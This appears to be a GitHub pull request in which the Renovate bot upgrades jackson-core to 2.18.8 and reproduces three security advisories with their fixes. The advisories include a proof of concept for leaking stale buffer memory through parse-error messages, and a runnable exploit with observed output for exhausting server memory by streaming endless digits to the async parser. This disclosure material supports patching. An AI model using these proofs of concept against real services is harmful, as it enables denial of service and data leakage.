Skip to content

Update dependency com.fasterxml.jackson.core:jackson-core to v2.18.8 [SECURITY] - #24

Open
renovate[bot] wants to merge 1 commit into
masterfrom
renovate/maven-com.fasterxml.jackson.core-jackson-core-vulnerability
Open

renovate[bot] wants to merge 1 commit into
masterfrom
renovate/maven-com.fasterxml.jackson.core-jackson-core-vulnerability

Conversation

@renovate

@renovate renovate Bot commented Jun 8, 2025 •

Copy link
Copy Markdown

This PR contains the following updates:

Package Change Age Adoption Passing Confidence
com.fasterxml.jackson.core:jackson-core 2.3.0 → 2.18.8 age adoption passing confidence

Warning

Some dependencies could not be looked up. Check the warning logs for more information.


Jackson-core Vulnerable to Memory Disclosure via Source Snippet in JsonLocation

CVE-2025-49128 / GHSA-wf8f-6423-gfxg

More information

Details

Overview

A flaw in Jackson-core's JsonLocation._appendSourceDesc method allows up to 500 bytes of unintended memory content to be included in exception messages. When parsing JSON from a byte array with an offset and length, the exception message incorrectly reads from the beginning of the array instead of the logical payload start. This results in possible information disclosure in systems using pooled or reused buffers, like Netty or Vert.x.

Details

The vulnerability affects the creation of exception messages like:

JsonParseException: Unexpected character ... at [Source: (byte[])...]

When JsonFactory.createParser(byte[] data, int offset, int len) is used, and an error occurs while parsing, the exception message should include a snippet from the specified logical payload. However, the method _appendSourceDesc ignores the offset, and always starts reading from index 0.

If the buffer contains residual sensitive data from a previous request, such as credentials or document contents, that data may be exposed if the exception is propagated to the client.

The issue particularly impacts server applications using:

  • Pooled byte buffers (e.g., Netty)
  • Frameworks that surface parse errors in HTTP responses
  • Default Jackson settings (i.e., INCLUDE_SOURCE_IN_LOCATION is enabled)

A documented real-world example is CVE-2021-22145 in Elasticsearch, which stemmed from the same root cause.

Attack Scenario

An attacker sends malformed JSON to a service using Jackson and pooled byte buffers (e.g., Netty-based HTTP servers). If the server reuses a buffer and includes the parser’s exception in its HTTP 400 response, the attacker may receive residual data from previous requests.

Proof of Concept
byte[] buffer = new byte[1000];
System.arraycopy("SECRET".getBytes(), 0, buffer, 0, 6);
System.arraycopy("{ \"bad\": }".getBytes(), 0, buffer, 700, 10);

JsonFactory factory = new JsonFactory();
JsonParser parser = factory.createParser(buffer, 700, 20);
parser.nextToken(); // throws exception

// Exception message will include "SECRET"
Patches

This issue was silently fixed in jackson-core version 2.13.0, released on September 30, 2021, via PR #​652.

All users should upgrade to version 2.13.0 or later.

Workarounds

If upgrading is not immediately possible, applications can mitigate the issue by:

  1. Disabling exception message exposure to clients — avoid returning parsing exception messages in HTTP responses.

  2. Disabling source inclusion in exceptions by setting:

    jsonFactory.disable(JsonFactory.Feature.INCLUDE_SOURCE_IN_LOCATION);

    This prevents Jackson from embedding any source content in exception messages, avoiding leakage.

References

Severity

  • CVSS Score: 4.0 / 10 (Medium)
  • Vector String: CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


jackson-core can throw a StackoverflowError when processing deeply nested data

CVE-2025-52999 / GHSA-h46c-h94j-95f3

More information

Details

Impact

With older versions of jackson-core, if you parse an input file and it has deeply nested data, Jackson could end up throwing a StackoverflowError if the depth is particularly large.

Patches

jackson-core 2.15.0 contains a configurable limit for how deep Jackson will traverse in an input document, defaulting to an allowable depth of 1000. Change is in https://github.com/FasterXML/jackson-core/pull/943. jackson-core will throw a StreamConstraintsException if the limit is reached.
jackson-databind also benefits from this change because it uses jackson-core to parse JSON inputs.

Workarounds

Users should avoid parsing input files from untrusted sources.

Severity

  • CVSS Score: 8.7 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


jackson-core: Async parser maxNumberLength bypass via chunked digit accumulation (incomplete fix for GHSA-72hv-8253-57qq)

CVE-2026-68494 / GHSA-r7wm-3cxj-wff9

More information

Details

Summary

The fix released in jackson-core 2.18.6 and 2.21.1 for GHSA-72hv-8253-57qq (Number Length Constraint Bypass in Async Parser, published 2026-02-28) is incomplete. The fix commit b0c428e6 (#​1555) wired validateIntegerLength into a new _setIntLength helper and called it at every place where the integer portion of a number is decided (terminator byte arrived, . / e/E seen, end-of-feed inside a fully-buffered value). It did not call it on the much more attacker-relevant path: "ran out of input while still inside MINOR_NUMBER_INTEGER_DIGITS, return NOT_AVAILABLE to caller".

As a result, an attacker who streams JSON to a non-blocking parser in many small chunks, without ever sending a terminator byte, can keep the parser inside MINOR_NUMBER_INTEGER_DIGITS indefinitely. _textBuffer.expandCurrentSegment() grows on every chunk, and validateIntegerLength is never invoked. The accumulator is only gated by maxStringLength (20 MiB default) — a ~20,000x amplification of the documented maxNumberLength (1000 default).

This is the same vulnerability class, same advisory wording ("Memory Exhaustion: Unbounded allocation in TextBuffer from excessively long numbers"), same parser class — just the streaming path the original fix didn't cover. The fix to the fraction path is correct (see _finishFloatFraction at line 1834-1837 of NonBlockingUtf8JsonParserBase.java in 2.18.6, where _setFractLength(fractLen) IS called before the NOT_AVAILABLE return); the equivalent call is missing from every integer-digit path.

Affected versions

Verified on the patched releases:

  • com.fasterxml.jackson.core:jackson-core 2.18.6
  • com.fasterxml.jackson.core:jackson-core 2.21.1

Structurally identical code in tools.jackson.core 3.0.x / 3.1.x — same NonBlockingUtf8JsonParserBase class, same _setIntLength rollout, same NOT_AVAILABLE returns without validation. Not retested but presumed vulnerable.

Affected code

src/main/java/com/fasterxml/jackson/core/json/async/NonBlockingUtf8JsonParserBase.java in 2.18.6 / 2.21.1.

Site 1 — _startPositiveNumber(int ch) lines 1320-1330:
if (outPtr >= outBuf.length) {
    // NOTE: must expand to ensure contents all in a single buffer (to keep
    // other parts of parsing simpler)
    outBuf = _textBuffer.expandCurrentSegment();
}
outBuf[outPtr++] = (char) ch;
if (++_inputPtr >= _inputEnd) {
    _minorState = MINOR_NUMBER_INTEGER_DIGITS;
    _textBuffer.setCurrentLength(outPtr);
    return _updateTokenToNA();          // <-- no validateIntegerLength(outPtr)
}
Site 2 — _finishNumberIntegralPart lines 1691-1727:
protected JsonToken _finishNumberIntegralPart(char[] outBuf, int outPtr) throws IOException {
    int negMod = _numberNegative ? -1 : 0;

    while (true) {
        if (_inputPtr >= _inputEnd) {
            _minorState = MINOR_NUMBER_INTEGER_DIGITS;
            _textBuffer.setCurrentLength(outPtr);
            return _updateTokenToNA();    // <-- no validateIntegerLength(outPtr + negMod)
        }
        int ch = getByteFromBuffer(_inputPtr) & 0xFF;
        if (ch < INT_0) {
            if (ch == INT_PERIOD) {
                _setIntLength(outPtr+negMod);   // <-- validated here
                ++_inputPtr;
                return _startFloat(outBuf, outPtr, ch);
            }
            break;
        }
        if (ch > INT_9) {
            if ((ch | 0x20) == INT_e) {
                _setIntLength(outPtr+negMod);   // <-- validated here
                ++_inputPtr;
                return _startFloat(outBuf, outPtr, ch);
            }
            break;
        }
        ++_inputPtr;
        if (outPtr >= outBuf.length) {
            outBuf = _textBuffer.expandCurrentSegment();
        }
        outBuf[outPtr++] = (char) ch;
    }
    _setIntLength(outPtr+negMod);            // <-- validated here
    _textBuffer.setCurrentLength(outPtr);
    return _valueComplete(JsonToken.VALUE_NUMBER_INT);
}

The pattern recurs at lines 1297, 1329, 1343, 1365, 1395, 1409, 1437, 1467, 1481, 1586, 1644, 1698 — every "ran out of input mid-integer" exit returns to the caller without validating the accumulator length.

Compare with the fraction path that is correct

_finishFloatFraction lines 1827-1838:

while (loop) {
    if (ch >= INT_0 && ch <= INT_9) {
        ++fractLen;
        if (outPtr >= outBuf.length) {
            outBuf = _textBuffer.expandCurrentSegment();
        }
        outBuf[outPtr++] = (char) ch;
        if (_inputPtr >= _inputEnd) {
            _textBuffer.setCurrentLength(outPtr);
            _setFractLength(fractLen);          // <-- VALIDATED
            return JsonToken.NOT_AVAILABLE;
        }
        ch = getNextSignedByteFromBuffer();
    }
    ...
}
Impact

Reactive frameworks (Spring WebFlux / Reactor, Quarkus, Helidon, Vert.x JSON, anything wrapping JsonFactory.createNonBlockingByteArrayParser() or createNonBlockingByteBufferParser()) feed inbound HTTP/gRPC bytes to the async parser as they arrive. Operators who set StreamReadConstraints.builder().maxNumberLength(N) on the assumption that this caps memory per number value are not getting that guarantee in chunked-feed scenarios. The parser silently accumulates digits up to maxStringLength (20 MiB default) per concurrent connection. Multiply by attacker-controlled concurrency to OOM the JVM.

The synchronous parsers (UTF8StreamJsonParser, ReaderBasedJsonParser) and the async parser on complete input are not affected — those paths go through _setIntLength or ParserBase._reportTooLongIntegral correctly.

CWE-770 (Allocation of Resources Without Limits or Throttling), CVSS roughly the same as the parent advisory (Network / Low complexity / High availability impact). The parent advisory was scored CVSS 8.7 High.

Proof of concept

Standalone PoC, no Maven required:

mkdir poc && cd poc
curl -sLo jackson-core-2.18.6.jar https://repo1.maven.org/maven2/com/fasterxml/jackson/core/jackson-core/2.18.6/jackson-core-2.18.6.jar
cat > PoC.java <<'EOF'
import com.fasterxml.jackson.core.*;
import com.fasterxml.jackson.core.async.ByteArrayFeeder;

public class PoC {
    public static void main(String[] args) throws Exception {
        StreamReadConstraints strict = StreamReadConstraints.builder()
                .maxNumberLength(1000)
                .build();
        JsonFactory f = new JsonFactoryBuilder()
                .streamReadConstraints(strict)
                .build();

        // Sanity: synchronous parser rejects 5000-digit int.
        try (JsonParser p = f.createParser("{\"v\":" + "1".repeat(5000) + "}")) {
            while (p.nextToken() != null) { /* drive */ }
            System.out.println("[-] BUG ABSENT: sync parser accepted");
            return;
        } catch (Exception e) {
            System.out.println("[+] sync parser rejected 5000-digit int: " + e.getClass().getSimpleName());
        }

        // Bug: async parser, chunked, no terminator.
        JsonParser ap = f.createNonBlockingByteArrayParser();
        ByteArrayFeeder feeder = (ByteArrayFeeder) ap;

        byte[] preamble = "{\"v\":".getBytes("UTF-8");
        feeder.feedInput(preamble, 0, preamble.length);
        while (ap.nextToken() != JsonToken.NOT_AVAILABLE) { /* drain */ }

        byte[] digits = new byte[16 * 1024];
        for (int i = 0; i < digits.length; i++) digits[i] = (byte) ('1' + (i % 9));

        for (int c = 0; c < 600; c++) {
            feeder.feedInput(digits, 0, digits.length);
            JsonToken t = ap.nextToken();
            if (t != JsonToken.NOT_AVAILABLE) {
                System.out.println("[-] unexpected token: " + t);
                return;
            }
        }
        System.out.println("[+] BUG PRESENT: async parser accepted ~9.83 MB of digits with maxNumberLength=1000");

        // Closing the number now finally triggers the validator.
        feeder.feedInput("}".getBytes("UTF-8"), 0, 1);
        feeder.endOfInput();
        try {
            while (ap.nextToken() != null) { /* drive */ }
        } catch (Exception e) {
            System.out.println("[*] late rejection on close: " + e.getMessage().split("\n")[0]);
        }
        ap.close();
    }
}
EOF
javac -cp jackson-core-2.18.6.jar PoC.java
java -Xmx256m -cp jackson-core-2.18.6.jar:. PoC

Observed output against jackson-core-2.18.6:

[+] sync parser rejected 5000-digit int: StreamConstraintsException
[+] BUG PRESENT: async parser accepted ~9.83 MB of digits with maxNumberLength=1000
[*] late rejection on close: Number value length (9830400) exceeds the maximum allowed (1000, from `StreamReadConstraints.getMaxNumberLength()`)

Observed output against jackson-core-2.21.1: identical.

The 9.83 MB figure is purely a function of the loop bound (600 chunks * 16 KiB). The actual ceiling is maxStringLength = 20 MiB. With the strict policy declared as maxNumberLength = 1000, the parser permits 9830x more allocation than the policy allows. With maxStringLength left at the default 20 MiB, an attacker can drive a single connection to 40 MiB of char[] heap (chars are 2 bytes each) before the validator finally fires on terminator/endOfInput(). Multiply by concurrent connections.

End-to-end reproduction through real HTTP

Supplements the standalone PoC with a running Spring Boot WebFlux server,
driving the same bug through the actual reactor-netty + Jackson2JsonDecoder
streaming-decode path that production reactive endpoints use.

Setup:

  • Spring Boot 3.3.5 starter-webflux (spring-webflux 6.1.14, reactor-netty 1.1.23)
  • jackson-databind 2.17.2, jackson-core overridden:
    • VULN run: com.fasterxml.jackson.core:jackson-core:2.18.7 (latest published)
    • PATCHED run: 2.18.8-SNAPSHOT built from the fix branch
  • JVM: OpenJDK 17.0.18
  • Server JsonFactory configured with StreamReadConstraints.builder().maxNumberLength(1000).build()

Endpoint under test exposes the Flux<DataBuffer> request body directly to
Jackson2JsonDecoder.decode(Flux, ResolvableType, ...) so the parser sees one
HTTP chunk per feedInput (the same pattern used for any
@RequestBody Flux<...> / streaming JSON decoder in WebFlux). A raw-socket
HTTP/1.1 chunked client streams {"v":1 then 250 chunks of 200 digit bytes
each (50,000 digits total) at 20ms intervals, then writes the closing }.

VULN — jackson-core 2.18.7:

[VULN-SMALLCHUNK] streamed 50000 digits across 250 chunks; server still accepting
[VULN-SMALLCHUNK] full POST sent (50000 digits). Response:
HTTP/1.1 200 OK
ERR after 6548ms cause=com.fasterxml.jackson.core.exc.StreamConstraintsException:
       Number value length (50000) exceeds the maximum allowed (1000, ...)

Server-side controller trace (250 DataBuffer arrivals elided):

[ctrl] DataBuffer arrived size=6   ms=39       <- '{"v":1'
[ctrl] DataBuffer arrived size=200 ms=42
...
[ctrl] DataBuffer arrived size=199 ms=5993
[ctrl] DataBuffer arrived size=1   ms=6518     <- closing '}'
[ctrl] ERR after 6548ms ... Number value length (50000) exceeds ...

Server held all 50,000 digit characters in _textBuffer for 6.5 seconds with
maxNumberLength=1000 declared. The validator never fires during streaming;
it only fires at value-completion when the closing } arrives.

PATCHED — jackson-core 2.18.8-SNAPSHOT (fix branch):

[PATCHED-SMALLCHUNK] connection broke after 2801 digits at chunk 14: [Errno 32] Broken pipe
[PATCHED-SMALLCHUNK] DONE: digits_sent=2801 status=connection-broke-mid-stream

Server-side controller trace:

[ctrl] DataBuffer arrived size=6   ms=129
[ctrl] DataBuffer arrived size=200 ms=142
[ctrl] DataBuffer arrived size=200 ms=142
[ctrl] DataBuffer arrived size=200 ms=145
[ctrl] DataBuffer arrived size=200 ms=146
[ctrl] DataBuffer arrived size=200 ms=147
[ctrl] ERR after 155ms ... Number value length (1001) exceeds the maximum allowed (1000, ...)

Patched server raises StreamConstraintsException at 155ms after only 5
DataBuffers, exactly when the accumulated digit count crosses
maxNumberLength=1000. The connection is reset mid-stream rather than the
parser silently consuming the rest of the attacker's payload.

Side-by-side:

Build Chunks accepted before exception Digits buffered Time to detection
jackson-core 2.18.7 250 (full payload) 50,000 (50x the configured limit) 6,548ms — only at terminator
2.18.8-SNAPSHOT (fix branch) 5 1,001 155ms — moment threshold crossed

Note on the default @RequestBody Mono<JsonNode> path: that path cannot
distinguish the two builds because Spring's decodeToMono joins all
DataBuffers into one before parsing. The exploitable shape is the
streaming-decode path (Flux<JsonNode> / @RequestBody Flux<...> /
WebSocket / SSE / any direct decoder.decode(Flux<DataBuffer>, ...) call),
which is also what Jackson2Tokenizer uses for any streaming JSON
deserialization in WebFlux and Quarkus reactive REST.

Suggested fix

Mirror the pattern already used in _finishFloatFraction. At every site that returns _updateTokenToNA() (or JsonToken.NOT_AVAILABLE) with _minorState = MINOR_NUMBER_INTEGER_DIGITS, call _setIntLength(outPtr + negMod) first. Concretely, the diff to NonBlockingUtf8JsonParserBase.java would be:

     protected JsonToken _finishNumberIntegralPart(char[] outBuf, int outPtr) throws IOException {
         int negMod = _numberNegative ? -1 : 0;

         while (true) {
             if (_inputPtr >= _inputEnd) {
                 _minorState = MINOR_NUMBER_INTEGER_DIGITS;
                 _textBuffer.setCurrentLength(outPtr);
+                _streamReadConstraints.validateIntegerLength(outPtr + negMod);
                 return _updateTokenToNA();
             }

Note: _setIntLength itself can't be used as-is because it also assigns _intLength, and _intLength must not be set until the integer is truly complete (subsequent fraction handling reads _intLength). The minimal fix is to call only the validator, as shown.

Apply the same one-line insertion before each return _updateTokenToNA(); that exits with _minorState = MINOR_NUMBER_INTEGER_DIGITS. The sites are listed above (12 lines total).

Alternatively, a heavier refactor: also gate _textBuffer.expandCurrentSegment() calls inside the digit-accumulation loops on outPtr < maxNumberLength so that the validator fires at the moment the buffer would be enlarged past the limit, rather than waiting for the next chunk boundary. Either approach is sufficient.

Credit

Reported by tonghuaroot (tonghuaroot@gmail.com). Variant hunt against the Feb 2026 fix for GHSA-72hv-8253-57qq.

Severity

  • CVSS Score: 8.7 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Configuration

📅 Schedule: (UTC)

  • Branch creation
    • At any time (no schedule defined)
  • Automerge
    • At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about these updates again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@coderabbitai

coderabbitai Bot commented Jun 8, 2025

Copy link
Copy Markdown

Important

Review skipped

Bot user detected.

To trigger a single review, invoke the @coderabbitai review command.

You can disable this status message by setting the reviews.review_status to false in the CodeRabbit configuration file.


🪧 Tips

Chat

There are 3 ways to chat with CodeRabbit:

  • Review comments: Directly reply to a review comment made by CodeRabbit. Example:
    • I pushed a fix in commit <commit_id>, please review it.
    • Explain this complex logic.
    • Open a follow-up GitHub issue for this discussion.
  • Files and specific lines of code (under the "Files changed" tab): Tag @coderabbitai in a new review comment at the desired location with your query. Examples:
    • @coderabbitai explain this code block.
    • @coderabbitai modularize this function.
  • PR comments: Tag @coderabbitai in a new PR comment to ask questions about the PR branch. For the best results, please provide a very specific query, as very limited context is provided in this mode. Examples:
    • @coderabbitai gather interesting stats about this repository and render them as a table. Additionally, render a pie chart showing the language distribution in the codebase.
    • @coderabbitai read src/utils.ts and explain its main purpose.
    • @coderabbitai read the files in the src/scheduler package and generate a class diagram using mermaid and a README in the markdown format.
    • @coderabbitai help me debug CodeRabbit configuration file.

Support

Need help? Join our Discord community for assistance with any issues or questions.

Note: Be mindful of the bot's finite context window. It's strongly recommended to break down tasks such as reading entire modules into smaller chunks. For a focused discussion, use review comments to chat about specific files and their changes, instead of using the PR comments.

CodeRabbit Commands (Invoked using PR comments)

  • @coderabbitai pause to pause the reviews on a PR.
  • @coderabbitai resume to resume the paused reviews.
  • @coderabbitai review to trigger an incremental review. This is useful when automatic reviews are disabled for the repository.
  • @coderabbitai full review to do a full review from scratch and review all the files again.
  • @coderabbitai summary to regenerate the summary of the PR.
  • @coderabbitai generate sequence diagram to generate a sequence diagram of the changes in this PR.
  • @coderabbitai resolve resolve all the CodeRabbit review comments.
  • @coderabbitai configuration to show the current CodeRabbit configuration for the repository.
  • @coderabbitai help to get help.

Other keywords and placeholders

  • Add @coderabbitai ignore anywhere in the PR description to prevent this PR from being reviewed.
  • Add @coderabbitai summary to generate the high-level summary at a specific location in the PR description.
  • Add @coderabbitai anywhere in the PR title to generate the title automatically.

CodeRabbit Configuration File (.coderabbit.yaml)

  • You can programmatically configure CodeRabbit by adding a .coderabbit.yaml file to the root of your repository.
  • Please see the configuration documentation for more information.
  • If your editor has YAML language server enabled, you can add the path at the top of this file to enable auto-completion and validation: # yaml-language-server: $schema=https://coderabbit.ai/integrations/schema.v2.json

Documentation and Community

  • Visit our Documentation for detailed information on how to use CodeRabbit.
  • Join our Discord Community to get help, request features, and share feedback.
  • Follow us on X/Twitter for updates and announcements.

@renovate
renovate Bot force-pushed the renovate/maven-com.fasterxml.jackson.core-jackson-core-vulnerability branch from 03f6cc8 to 116056e Compare July 5, 2025 08:11
@renovate renovate Bot changed the title Update dependency com.fasterxml.jackson.core:jackson-core to v2.13.0 [SECURITY] Update dependency com.fasterxml.jackson.core:jackson-core to v2.15.0 [SECURITY] Jul 5, 2025
@renovate
renovate Bot force-pushed the renovate/maven-com.fasterxml.jackson.core-jackson-core-vulnerability branch from 116056e to 41421aa Compare March 2, 2026 06:53
@renovate renovate Bot changed the title Update dependency com.fasterxml.jackson.core:jackson-core to v2.15.0 [SECURITY] Update dependency com.fasterxml.jackson.core:jackson-core to v2.18.6 [SECURITY] Mar 2, 2026
@renovate
renovate Bot force-pushed the renovate/maven-com.fasterxml.jackson.core-jackson-core-vulnerability branch from 41421aa to 25d0618 Compare July 25, 2026 07:13
@renovate renovate Bot changed the title Update dependency com.fasterxml.jackson.core:jackson-core to v2.18.6 [SECURITY] Update dependency com.fasterxml.jackson.core:jackson-core to v2.18.8 [SECURITY] Jul 25, 2026
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants